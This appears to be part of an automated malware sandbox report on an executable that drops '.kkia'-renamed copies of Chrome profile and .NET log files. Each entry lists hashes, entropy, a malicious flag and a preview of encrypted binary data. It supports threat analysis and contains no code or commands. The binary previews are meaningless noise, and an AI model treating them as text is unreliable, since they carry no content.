SSDEEP:	24:aKcdkShbEnJMCNr9OmLxk/ESnEuSz9RFsI4ozf0oXkH3Rmk+SUkbz:ankS+WCNEmLYEch0hfUH3QfS5z
MD5:	9D90E4F79D61661072CC2941DCDA9601
SHA1:	516228FF4AE3E9C6C4B6DB1B348BE2F4DFA0E81C
SHA-256:	4BDA239280763C272FA5324C96DB00E3D026D015859F4AF4ED9B65B09D0A7D21
SHA-512:	3483DAA2C1672B402FC0A1F7FC824B19AC94BA223301A9D9699CC3A516165383DFFFB83AAAABDDBFCE6362EDB25BB5888003CB539876C9FECCD473F6A94E8009
Malicious:	false
Preview:	.....BK....l1.J....M...l...=.......Cg..rN.3[&Bcp....6.u.Qs."..-.e..$..M.i....\|....`...>Ut.f...>..b..^..0...g...[.iXv..1..3S.jy.F..MY....s..Q..%.._.Q...liH;..C..W.{.t"<.0p..z&c.T..z.;x{y.4.[......b......]..}Y..J;1.un.g...,..$%......}.......%`...:m...%.E..I3\|.$q....l(.H.X.cO.1.....ont..k.;...d.}9...s'.#~9......[z...z.z.c..H&t.Hi."....#..?.y,.C./.d^.y..u.F.=.5....v........<W.....D..@Ff...#yb?k...E..s_.P..E.4..S...v b;.+.m.P5q.,.]./.o..t..P.fe...aw.I...8:....Is.m..<..:..Y..]...$....L.vA2.....R.5..\N.....dn.>.I.].r......G..y.7.'..?@Jh....Z.m!n.h.b./...@..p.7..3..e.\.w.;.....r.f..h..\..).....?..7&..-...jw...C.t..A.T4..K85 3suo../e.5_.``...../..y.....).v..n.....1.1.E7.g.?._.i.G..I..I.V5.T.."_...3.....).-..r.UM.../.>...d.(^O.2{/3...wS.......6.Y.u_.. .BZ.(.{.a..>i}. c..g.UC..X.....V.Y.k"0....A.0u................M?.....l..E..=..N..R..:.....R....p^..(.G\....E...]' ......:.....1?H....b;.q...2.:."........!..f......W......^k.....e*.xc.%L..vn..t

C:\Users\user\Local Settings\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-651E870D-1CFC.pma.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.8101536078944838
Encrypted:	false
SSDEEP:	6144:Hjvnxt/8iXdZfwmC2thT0+t7mvmn9w9Y8TeBQaH8c4RQ+pc5HG:HjJx86ztCmNTdc5em
MD5:	3218858845DB99AEDFADA235D627C7C2
SHA1:	CFDBE0F364EE0BDD3CA89B0407AF004D16A520D3
SHA-256:	ED2D3449DAEC1CE10A496AB72D9EAA95C01F98B6C7C51E4764FF6B418F9C6A2B
SHA-512:	1D28EA262A6F222DDD8E808C2AB6A8774C57B87627E00501447466D5EEEC03A48E7025CB534D915BEE63855E4F0451E2D023541591B70166F0AE357E010D7829
Malicious:	false
Preview:	...@..c...&d].O^.SK.3M....K............6.6I..-R.z..AT..\.>.......Gie&$5v[0eE_....v."...i$.....Q.eVpI.j...cH.U.i.-=_bQ:{.M.P..P"FidO.9.Wi.xE..2KvS......j8....<.&...,%...K+..Apm.E..d.q.n.w}.....m..4J.s-.......!..R...~...jEL..T.=...nM.5..h.b..p...2.W..1.g.............;..\|......{&[bx._O..~.z...4.SA....>..5.?,G...[f.[g.R.C.DeM.....\|.\..e..k'.r..2.T=X..`.......T......&.m....&..~.\|.Eb.#.1.T.&.=.D.G...w_.N..(...Y.P.x....p...E...S.Ere......q....h.i..O..RSC......o.....`.[.e.U.xD.5..Oej.BA.+....C.o..KNb.5fK2....:.0.o.=..zK..\.d...I..g..$...k...^..e.cB.^M^.2....K..Z...^8f.;........~..g.E...dD.H.+..O..a'..bFp..\|....sV.. .(.R...A.hY..E.3]D3.......V......f.3._..3.).....<R..w.Lw..CS....u..'h....N..+...5./..?..}.;.U.H.r....O.sBSi.z:.3Z..Hya.%.zl.7.57z.2...+.LD...........F..j!..ilX.@......#.2Os$2...k...2..9...+..V...Z.r5.Ez.E'....t.b..{....?=W..A....)i$..)..S._....M?!..U5.tR@.*......t.7..~'.C.fk..{wf.l[{..V.Ox3.d.....JYsR=X.q.(m..kF.....v..R.i.j.P..

C:\Users\user\Local Settings\Google\Chrome\User Data\Crashpad\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.329717581678878
Encrypted:	false
SSDEEP:	6:89BIG4BZ9Lh6618qLweEkOPCaNETx07eLEYrE4f/mhYxReg6Pebugcii96Z:JGMrLhu4EkY+om7yYXiPrgcii9a
MD5:	A9B318B0A66790799D5790EB9B9CEBAA
SHA1:	238D439CFD4406FB408235D996480074B81511E2
SHA-256:	5BC959929C55A5EA2C665D1F934AC5B70585450DCD6B431450733323E937D1DF
SHA-512:	BCBAFF040ACB0ADC67BF862020186B87A93098EAA4A16E61FA8AA646E5BD0C543DA2F273AD4F24A26A22BC6CD1EF47DFB9F8E340228E4B43278EA97694ED279F
Malicious:	false
Preview:	sdPC..jO/C...${T....?z..L..q_..r..a.....d..a.....a...eC=(N.).&V.7...].....r6...g*.....b...y.>Q4,?..+%M...s].?.-.~{.w..R.I..v...y.9/.,$t..."6.A>...}...!.......%..b...`...J=...E..............Y.....Q.....{......D!Ys...e..`....J.`....oHt...[k..e.Q,c,...V.[........q.@....#.`.)6... Z.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Google Profile.ico.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	198128
Entropy (8bit):	7.99868123599099
Encrypted:	true
SSDEEP:	3072:LHPia9CAGeGSUDeZ3E9JaadHGT5+cHZI5rpNUQB8LVQ79B8iDf4KZHbyoBXCy9eq:LxCUuWE9hHWUcHLwVP9moVCvoZhhl+Nc
MD5:	081DD3A6189ACA5618BDE838DCFA9EB8
SHA1:	B71C4D6687AF0BEC988CCD2AED5743590581D784
SHA-256:	1DA470278D17E1972A2283D6F37061F99E379C5A86DA1D0FA0D6BCC047764C88
SHA-512:	49212F1AEA3327754D9FAFF3161BCBEE19188AA8F39FD08170FB7CBDE96D6522470AA6DEDA695F1DB4CB36AD484C88E21E12B5C756CB177FFB16DB3D098FED93
Malicious:	true
Preview:	......z.Z....J..~.....L.l.....7...G.V...,.Ib.,c....6+....S...........T....B..W.QA(YL......R?.<O.v_>.u.lg........`.K..I...{.#.......Zz.2.N`..8-.V.]FU..x..OGS.;V.te3..[k] [o.y..!...E.....a...#2lF...e........;...V.a6.L...jCD5'O.B....X..Fd..2.^..M\a..f..........j.G.....(..VA$=.{A....k..Q.hJ.uj..c..lA>>]...o..T...4..x.;(P}%i.......X.'.B.y...$E..].MW].)..Z..wQ.&.>[.i.....2.}.%..Z.\.:L..2Zs?_.vn6....2.a. ..q...%>.R...n...Q.Wn ....+..;....\.......`p.v.P..7......8....v{......`..Q...5B=..\|5%....;j.I...+....)d.."r\|.`...F].....!.\..-1.R..x..e@..o..W2...AdCVk.VZK..hXbYv.d...a..Q}%pS.Oc._.@..F.I....3.=S...0..%.h=.<.L.I...(...V.......;J...S...lO.A.(6o....l'...'...2."...>ERF.i...7P...A.;.qu1....LZeK.X{.j.....m.{yd9..+.g.......<.......n..W.)KkvEf.......B.....)..R.K}...&uk....5..}.....a;.=.D...j.?..K...(.).H.=wc...5g.#.@....2.f.Z.l.7.?....C}(..3.B..9.c.r...'....v-./...T<l.Qp..E.Q.p"m..<.f..7D.....}...h.-....h.n...&.0?..Rm.T.r...}.F..S...+.E.....5...

C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.990565160363102
Encrypted:	true
SSDEEP:	384:1sLw4cjPAPcfmqCxvYDWq5++jkLexudX89b1o:1ognkxYDLI+udM9bW
MD5:	32FBB6C936C96FCEEC6253F76FD29456
SHA1:	5B777E7D03C46664B7679EB9359DB8E829BAB372
SHA-256:	B4D44FBBD057949C06C65A4F456B3993F8E9A8D56DAEE5B9CA0D8B500DC7751E
SHA-512:	4F119BCA2C7CC8E7D6FF9C11ED5AAA7188B6C2C9386C9DB83C24B1B91A8EED7C099AACAB7C0E6598439E951B2C738CCAECC9D77B22DF351AA465D69FC3C71204
Malicious:	true
Preview:	SQLiti....3i....X.'....])63C.{y.._..2+.W;"8N..Ga..XX..U.J..lON...f.....+....c..b..M..d.8.-.,.(...Eq....@..`...%.F..._..._.....1)..1.w.7X\|T....a.2...+...E....!.'.......L.4Z\|}.B.....V...)R......P.m$.I.:j.7J.....u.!.~n.u._...`.....H..f...yz.(.m......\..u..C.$o09.......`.,HP...&>..S.5..h..PC....../....f..z...m......8 ..>f./d....m...U_.+..>...t.1..S1X.#9...q.....kr/..\:.N..W6"...R..YZ@...jI.+.5...._..b.{....Q3.<.=..]...C7\,..E.......3.Et<...My...V.O..q>.Hx{.dx....>M.14..N.....S. ...P.a....cH..T.....QW9;.......{....}..k....>TP\....@.oJ7....c..B.T.i.2..r.{.YB.y\|..r..`.....v..L.......Eio\..{...E..}..K..r.}..`.W./.P.......9)..3Ub.3.t......h.O....%..T.D.....z..x.V.R^..\....=.... Y.A..3..60.~......rn.C..e.s...y.........W..0...7..?..y.\|.j.........9...ME....I..3g.k.1..i.!<.ld>..0m.e_...i...'X..........b.=I.._......<...Z....D.Q......val`d..~.x.....k..I>..N..X.U..3.2D7....M..t.A.(...tb........e...c..h..A<W.1.'.L..:....}.._../..G..\.(...pCD...d.b..~.#

C:\Users\user\Local Settings\Google\Chrome\User Data\Default\trusted_vault.pb.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	372
Entropy (8bit):	7.373971405357371
Encrypted:	false
SSDEEP:	6:TW99/38HpOANQD6pQdxqOSq8CoXRX0ksJvTFQONzZeealazpPp7Pebugcii96Z:Kbtor+2OSfCoXREvm+Ze6Pp7Prgcii9a
MD5:	DBF9B39D832F91B4B55FCEDB5078BD1A
SHA1:	2FE90FDF0F4C7A57D5B13A9C4F366104EB0B3644
SHA-256:	6C88F6E109FAE40DB1710C091FFA4CA96A6BA8C211071EE0CAFA89D1B1726160
SHA-512:	F5AA569570613FE72B3CA49D2ED6A0726C1FD049A4A15323DA359C97B90973CA94A86B152B5B6D0B4A3946203C30269E7DCBB0DFEA756C49D998854C6A49CD53
Malicious:	false
Preview:	........;7.{...~T.w..`.............e....z.....K..%+.g.7...h.(.2....1.h..8..'..,.Q...bL^:.T;U..rR.dJ(.u..w..82..D.W%.G.....?..iY.....e.yq...\5..C6.-W>1.G@3.O.....Zn......I#..+..#............1..t.L.".F..B9.SM+......Tu....4... :..`...mp.(.Lb..........I....R.z.e5...t<..Q.q9....V..*dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996895106377449
Encrypted:	true
SSDEEP:	1536:mmJri+xZjF3QiSbEM8hXuWFif4Vn/2XYpVlWFekEBJkU:sMphSjiXIAZuo/uyt
MD5:	7F90FBE78F3C948D024635A4A16726DB
SHA1:	FC42C24FC9E874894A167CB75A8BC1C059887810
SHA-256:	88D9A17EC4E4E1F965BA322D868783249DC04077571AA7C17FD668889706A09C
SHA-512:	E2A3162DDA1C9629F3868FFC6A70C3D6F40FC85454968741512C64E0EDD70FF58BF7918103B6DAE476CF789B5E93299E0E11CC4063D72AAAAC42A86237AC61D4
Malicious:	true
Preview:	SQLit..&;0........J?..b..~f;...B.H..s.\.w.._A.l....qF:<aC.RX[r.{1(..5.....<...@...K..V z..:.6.^..r.Z.T.$.0L.H.T..k...}..n...T..%M.)......_1f.....V7+.R:..ez.1...u....w..[.w..l.....:..${u.kD..u..!@...&.YZ.H.E...2......A..U.......A......../.4...e....Ro.3f...O..7..Ni#......L....b.u.H.."H......s\|.k..fe...s....{.....y....i....a.W7...!4........MB.u..(/.<..UM.\|... .Wiv.....,{.....1H..{2.5V...[.9..G.g....x..>.K_..KuV.`?]...r..^.K.[K....%.9\|....4.m...._..w.<.aFE%............x.+..Z3 .h... J.s.9._...0.5J9.4.Z.\.]5..-.HQ..Z,.SA.Q............<.0.d...W../........Z...\|Z....5....v.........BPi....3.pOI.W,,..e.#0.W..4)`......zI.2-M.....:.p.......q@.Z..A.^...Bh.ll.......-...\o....:...C9........\|d`.Q..Q....f+.Gv'O%.\o..p.".. t..z.&...'.D....M'.0.WqW@..Ykp.i.>...\...G.X..5..* \|....$m.....Oj...Q..`0._.....;....i2m....7T..4.....u...u.s...%..3....28Y7. ......Y.........e9c....N.5N..4.w..."..k,m....o6..D@.=..ws.IL.9......*Z.f.aK...\......t'.s..

C:\Users\user\Local Settings\IconCache.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	11335
Entropy (8bit):	7.983282227756216
Encrypted:	false
SSDEEP:	192:QIk1+TNMh/6Ccwfg1/rQ/BCR8B6matkdVPNI+iNqJsA0rPgJ5fUVE1ViFpuhc:FkEeh/6Cjg1/roy8RatCFNI+iYmAi6fg
MD5:	794BA83D55FE621CCEEDB7E3CCCABC0C
SHA1:	285B5527A2FB96A00A920ED83EC5E10852D23C50
SHA-256:	4E8970B7ADF751FBACD89092C237982A68C78040FF958BFA37C4FC6086ABFBAF
SHA-512:	2AD65CC562033C71403BC11FEB10B76FE4AF9D3F914CBA42054EBE05485478A564AF842354307C426BB091AF5D36F5CB69263CF762B6063203735BC601D88BEF
Malicious:	false
Preview:	H...WYr\|j...y..u%...1...X.......`..8.C.$_.....p...1..cY..Y..s..:e.f.]aY.\|.d.`....;.S........o.m,.J..K..I..=.Vm..I.[}..VgV......I....Z&N..J........w.:rS..;o....R..1x...$.[..=.....eT}..b....ol.^.&.u.gL[.r..ta.].........DW.5[.}.k@b.V...A.../k ....?..CZ>...-.K4...P.%F..zN..[.{...r..('...FcW\...B.z..RJ#..gj.....v.u?.....Z.....q........M.1..b...bo..~7e~......;.!.$..M.......\|.\..C...7..Y.Z..~.........\|[.M7.D1........#?.i.>..M..T.qTq ....."............c.... .r..qy. .....IM.,...J$...Xp...Y...c........<C9..)..2N)U.....5...n.qx.7.....E,.?...-)z.}.R..x[~....N....Px....Z0VH.0cP.nEx....SC.L.......I.....Lm.,.0.T..:MBE.!z.Sa.......%..........<.X.:...k...4......FH9.r-}.........}.M4..)...z5/.r.Gxn/.Q..I...%..q.u../S,....z.-.Q..a7..#.H.k5.E..I".&>....\..:.z...e..J/f..i\..`.g.....k.].o.....H...*...g$.PX.p.(T.......T.."..R..MFZ.T..r..Q.]+.. wt.....s'].$.q.../......NU../1.pg..m...zR...4...0a`.n\|..G.S&.......QF.sS...!.#Hu....Q.5...TEN..<k.\|l&......6....{..

C:\Users\user\Local Settings\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.283303547699565
Encrypted:	false
SSDEEP:	6:QH1dx9GFABKOghRbAZ2Sj9z5cDFcc4k2cYwcbaBQyOWvnYpsaESWWBHan2e+PebT:QH1HkFwXghp47RWycUaWy5gpsaESW465
MD5:	FBF86225EAECBA117C9BB33A4A3EE3C7
SHA1:	52323EEC64F7E507D200C376AF899C6E573F6DEA
SHA-256:	E5D3B9E51BF9766BE6D7746A72A77E859AC0CA965781023764929FC1E62DD44A
SHA-512:	E44FB3657A7D0B6C34F36F11A727E6E7AF3379A698AB7D5B36A1AC7ACEBF94A5116E3856CC8E0B208A26EEDD0C313D332359AE10076C8DCAB313F44E08DF10E8
Malicious:	false
Preview:	1,"fu..8#x.......@..o.....,.......Y./...)ee....._......1-PI ..U.^...7tHA.o..[p....V.v.g....jQcz.M......u.j...%g.} .L.2OD........r+....C.43C$RN.5+D.'.o_........!S...Q.B.C.,...w.8U+.w@&'(C'x....}...?...1.X.6..m....\.k...i6s. 3K...K..f..J)'..m....e_..'.}\|..q7..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1554
Entropy (8bit):	7.880772988173924
Encrypted:	false
SSDEEP:	48:hGbWNi/pXmvNYCnUXzB1njq/Y9b79Vf1D:IbWNi/pXd/njjb5r
MD5:	7AB0AD2EE7269789876DC7CB8FA9235B
SHA1:	1854124AD2E79D0B2C72B4631965C89108FE4A46
SHA-256:	41AD328D5727EA33347AB03C76C64135F0B03EFEBF37CD777D7669062664E79D
SHA-512:	B4EAF4E69905954F009794F44C1BB8B755A8B3ECFD030E0B8F72C6FBB14CF565E27B42FFE43A4D9FEDD5E5A07CC183A13938B4A623D29ACC4ED73D0986103F56
Malicious:	false
Preview:	1,"fuC.s.k.}.Ia.[..7.$.}o...U....\|X......U.?.m...AFKcZl.O9%........a:...d....&m\.!...b.0.........T.?9.x....}.....5.&.....F.zgN.{..QD.......Yd1u#.?....t%Y.}.D....f..x....T{=..G..w......RS.$.(t.P).Tm.n.K.i........m.!....K....1.i.......@....k.Q.}.jZ.XHT.Q.j.b%..%H.../6.X../.?.l....'g.v. .K.....Gm..\|..mD..M%.....j.zg_..kM).7.P...6X....9.....lo....X(.....u...l..(.Z.0..6.?D}...ze@T.<...C.....n...}..{..VR.f...;v}.:w.H.vL.....o]g.g.Wz.<..CA.....C...x.......(Cq.K.......U'.?....m..Os...........<M"OhOv.4....1.........g.a2.R..Q.A.?.C...N../..Vd..O&.r.s.......#9...-.LT.6.8?q..8o.]#....J!..7..Q..~.E08.....j.E.9......E"..3//t..Q.......<..+6..Y.(..[.tYz~...}k..p.B.w..T."I...3........}..Uu.......T....JH.C.K.f....~...@D..#....$..^.F.K...n....I..1.)..3...Bl.....d..l...LEsx...%........^*...A<.......5,.L.....M..u...vU.Y.x..c........K........c.#.l.T.#O..Q<.J...R......x..8...n...d\|R....Ua.SC.c.c.D.."......V).....z.f...~...w.sA.Tj.6.i..i....Z....l..5<^..z.k

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\LocalBridge.exe.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1952
Entropy (8bit):	7.900532350389771
Encrypted:	false
SSDEEP:	24:w+t4S92I257GeRr79UYxdMgWR81q2heY739+MvC4bRgRUb2MexXk+kTpQDuhYRBl:w+t4+w7iFXR6q0zpb2jdkTqDuhYR/D
MD5:	30F41DA1C6386C7DBD3149185051DD62
SHA1:	A43AD6AECDD2A1CC37614A6D87BC318F6270842F
SHA-256:	C843184A989CF2FF1B761405E779C5B479E4527C48E5DCFCC7E909948188FFC5
SHA-512:	66EF38479EE29AD12845BE6063B5371112BB849EE8F7978887DC88E3837881D309A928459ACF13C388139F1473587B7DE6DB7A5B0636ED9F7B50A249106EAC2C
Malicious:	false
Preview:	1,"fu.yv...}..Co...x-3...........Vs.qFL...........\|.N/&x...<K=..].....'3r....8y.......E7{.V`\|wX...5.....5..1MK.'.r.4..9H.GL...#...{.?........~.}.........d.-~..Ge....j...X......;..{..d.N7.R.]c\|mk...2..U.....y.p...g..0T..).7.....%X.`.).7..=.5&.......1..Y.U.~..\f.VzY.y..9.[...F/7>.<.b.}..w..%=A..v.A.F..v..~%.....tj..x.<>2?....}.......H....>Qp.....M....{.`.......e.l... l...`....3..#H.w6..x....E.o......!-......cP..&\.....Q..7.....0=..!..[.wQ.y/.$.]\@. .;X2a.I.!<.B..X...J.k...d.q....w...`^.4..C. .......z...;.z.@..&V..'....#.@..:e...C.)...H../5}\..a_...6r..`. #.[.0.#..n.7..u.Aj.b.-a....C.s......Z.l.K.........4J....t.=/..g.......zqV..$....e...X^.J`}.X...<.......=gU....L.q(...`..,N..T..q~..u.....X0@J..N.^..Ut.3......y.K...........W.....S..}..,k.FX.4.y>..+..`...\.+B.5..{jx.).........uY.1.i.WV.=.h?.. }J:..p..........mn....G...7.'.NO.d.a.s..\|.._.S.c... ..r%..-....KI:["c.;i..A...@sgPc.z._9./D....pY.*.^.,+...b.vDL....,..6.....\|g2.....J.

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\NGenTask.exe.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.766964973147368
Encrypted:	false
SSDEEP:	24:NwKw4D2bbpijlPRvsMmkdVsbwHoFciUvPQfgi11q9d/kCkbD:NwKnmbk5qMmk6wIFT1Yi1yeD
MD5:	D688FAD79427343BDFF5FFA21877953F
SHA1:	24531E38600FF453B1F759FC6A08862D3DA305F4
SHA-256:	2EE56631F58A803B036B462E9CDC4FADF4508F562E2C9DD2BF7299EB450B8A64
SHA-512:	CD8CA053668A9B514802A05F2C666E4052140D454002D28ACF27E48C21DA3ABB223870FC9F7A72738994A51F0599329E98E25B96D3D090E141DA3AADE4B45DE4
Malicious:	false
Preview:	1,"fu-.....L.h...@..u..S....f.&(/<.b~.H...m= 5....!Lq....#.`H..d.y...A..UI'E..WC..3Lb5J...2.k^..1my.u`......;$..q.@.I.....(N.....FUVjj. ..........k,.\|.....q...V.......s..b.E..D.M..Q....W..&........F.G.v3.r.v}A....%..A?IF....<9.........C......$.Y.y..... ....F..].+.;.......u(....7...,.....U..^~b .."9G,g....F..N.7..9..q..E9{uu.......uG3'..}6.......V..(nx...E.F..\|...'.J>s..!.#.;.._.O.......6.......6}.+.$Uw.h...l..........D..z....X)...}..t&...q...k.G.%..9.../.l...4.t.s0.,..M...r........,M-...sE\|YNEw.b./eD"..2....y7....Z.^Ij..L...1.7..).?.E.$........RM.....k..!>...?.9...Uy....R...@..o...H.p....7.Q..n..H.$..o.`e..>..&...R!U.u.R..<lO.N....z...B.......liW....,....G&....=.."9........`..K6 <Q......yL.B....Z....>^..i.....E.`...~.wL....Q.2....[.*>_...X.r....n..n.a>.."D....y.>CL-...S./(.u..i(...;...c.\.LE..M..:....#.....M>M..L.\|OJo...d../I9M'...Z....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\ngen.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	669
Entropy (8bit):	7.684428273790149
Encrypted:	false
SSDEEP:	12:M2MuVrkT57TUd56ht2a4qvgx+2CYI1n1F+KYqWnZmCyG624Ey3IfFPrgcii9a:MGkK56r4qQ8BY1mCV62vkbD
MD5:	2A92287D1E4F9CB185159DC2BF497B24
SHA1:	8B109E49E073871283F3B96FFB79565D98F8E3CD
SHA-256:	C8B8DFAB971B9D2156A4ACF54F949268E34D95DAA9F363B23EB49A12141B56B8
SHA-512:	C0C058E8FDBDB7CE5B026D73F0DB4974FD9C2FCF329FD69A6D6D2C2C1DF3772D026A985A3586558E3ADCE28CA3A29463C301A1B91B89EB0F0B34FD42843AFD09
Malicious:	false
Preview:	.To.8...kEy.(.^..".E.L\.g~R...".uu1O...F1....a..a..0...x.f......='\..]P.......K.r...Z..7.;.+.w5....#.\.@e..fK.:....+2.....]dW.(..C........m._E...>V....z.!Jtb.V.K..K.C....Sd...^G..[.............2.{lXH..d..j.c.....@...G.:.H.1U,...G.@S\|v....'......=.3.5.S.Q.E9......C. 4%...(.LI.../_.R.v.Rz.^.Q...`..tV.m.....<.Sp?...9.....^..YC3.m...3l.A.f.&..k./...^ ...y....g.e.J.........T.....g.G...d.ia..Ct.R..n...5.DA.i..4.Po.......Fc..E^c."fy~....c@..>...[.)..G...iBhO.z.bmL=.2.....?......sE...5k....[..v$.*..7.z...QlW...).y......E.....^.D.........j\P5...j6u...%..mB<...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0_32\UsageLogs\NGenTask.exe.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.767669649025598
Encrypted:	false
SSDEEP:	24:41C3Gcz+//4+zNRJUGzS8XcMMXYKikl+y9s//je7kbD:41Chz+/A0DJDtGYKiklPi//iKD
MD5:	0E0ADD4FB978BB14D8E0C65446A85BE0
SHA1:	B3BF9F8714FFAB38429CE0A25300F51BA3838D0D
SHA-256:	663F653579F0C0A3DA219B97375D5D72F7EB6E86392FF8D13BF21440511E21E7
SHA-512:	505EE50CC358569892A05BE79D3D3CAB562975B6941C9B9DDA1DBD55A0D99B9DB911173D0CA2040D77A20BDC6E3885CAEFB37209605FD48FDAA2176A68BF9F48
Malicious:	false
Preview:	1,"fu..4..~..p[..C~.6..>W.C....4.XA+.Qv.].m.B...!...%..B~..<)....'5.......xp...a:\|C+[F=)a.Q.;..n@..'..P.a....=`.D....p.....C.t1.)LO.6.1..tV..o..u.S.O....J..y......=.i..3.....2.7.e.3.#$.5..ok.h.b..?.[Q+..5;.\.J=i...<.\|.`.W.cI..sv.I`.j.Z.....0.B...A...dQ3...4..I....Q).%....).. .Fd.nM.p.....tZAa...._.u.....5.~....Sk..,d....K9=Bte..B?b.......4..>...=X..'W.5t.i.ni@..........9&\>+...f.-q0......q7...\.z.s.........k.ch.=.(IR!..>;..f.6....n.J...K....K9._.o....F.7.q..K.....B4...s.Gk.c..(..]....-. :...:...d]...}.N..RJ.....:..=@BXh!A.'.%..y.2.w...B.>..o......T.pW..v.H.t..iE.F'E..p.5..8.X,W..(T..xW..X.:.i.......^.....'8.Y.....Ow7S..Z..A.[.k.Y...i.Y.x.2#...\W...;...>.@".@..?..l.V'.........E...-U\...mbs...j}\|CV.vl...=.....=W.4DY.u..R...9..?..mg=.5...lF..dj5I=pz.e..`.....:h.1.!..[d}..P.._.Si..o/...Fd{........X...8....V23.'n......;..4.9.x....8.g~...........dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0_32\ngen.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	667
Entropy (8bit):	7.6439675083855665
Encrypted:	false
SSDEEP:	12:4oEhgh7CBwzgLhaQkxcYk0a+g7hxM/gL3oN0TUpXSvKKj6MJ04IIto5OIqGkOu7O:l2uCBEgLMZ50hu/gDgpXIKKGo0FItuzj
MD5:	ACD5897C704D09489A3E25DA20028B73
SHA1:	F31A9CC4362E5AD0A71185CC817524437AB266B8
SHA-256:	89B00381505E7057669574C982E257961BEB42FF54E723CADD9AC80B5C9428E1
SHA-512:	DA93BFDF6130CB4BF044D3ADE21DE0597DDE72A2AD13F978ACB36B9FD038F14FE7B3C18DC0591DC4F9D19655F228B142D138B4B2DFC603479E26CA367B9057BF
Malicious:	false
Preview:	.To...,...`H;.u.WV...R.$.d.'M...I....,p2..>......Ktn..,>v\.n...^...N...4..{B..?.=0wJ...1.%....%..Q...b.<7W..;...2&f`..w.`x..pKf......{..F._j.d.g....V..>4e.{.}I..r.A.#....\...<u.....=.F....U..<...G..(p.dP..\g..h..a.3.....>.gd.q.9S&....5.._...Luf-.;.._.m+.7.W2.AH/..i1....g.C..XY...v.....,...M....m.i\|..Z.A.(..L#aD~...B....`..@.[.......+;....V..N.B......H..L.EN....$v..H.Q.WL.>k.R.......4J..y.^..A............S>8)..Z....>}A..........U.*B..Rfa...).3D......]......sL.8.0.4-3...2..D.2.....S...G.4G5...2rm.:.P.DJ.H...(.`J...j7.c..lxE.Z..J>..m..{.y..G...4..:.A..%.i.vdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

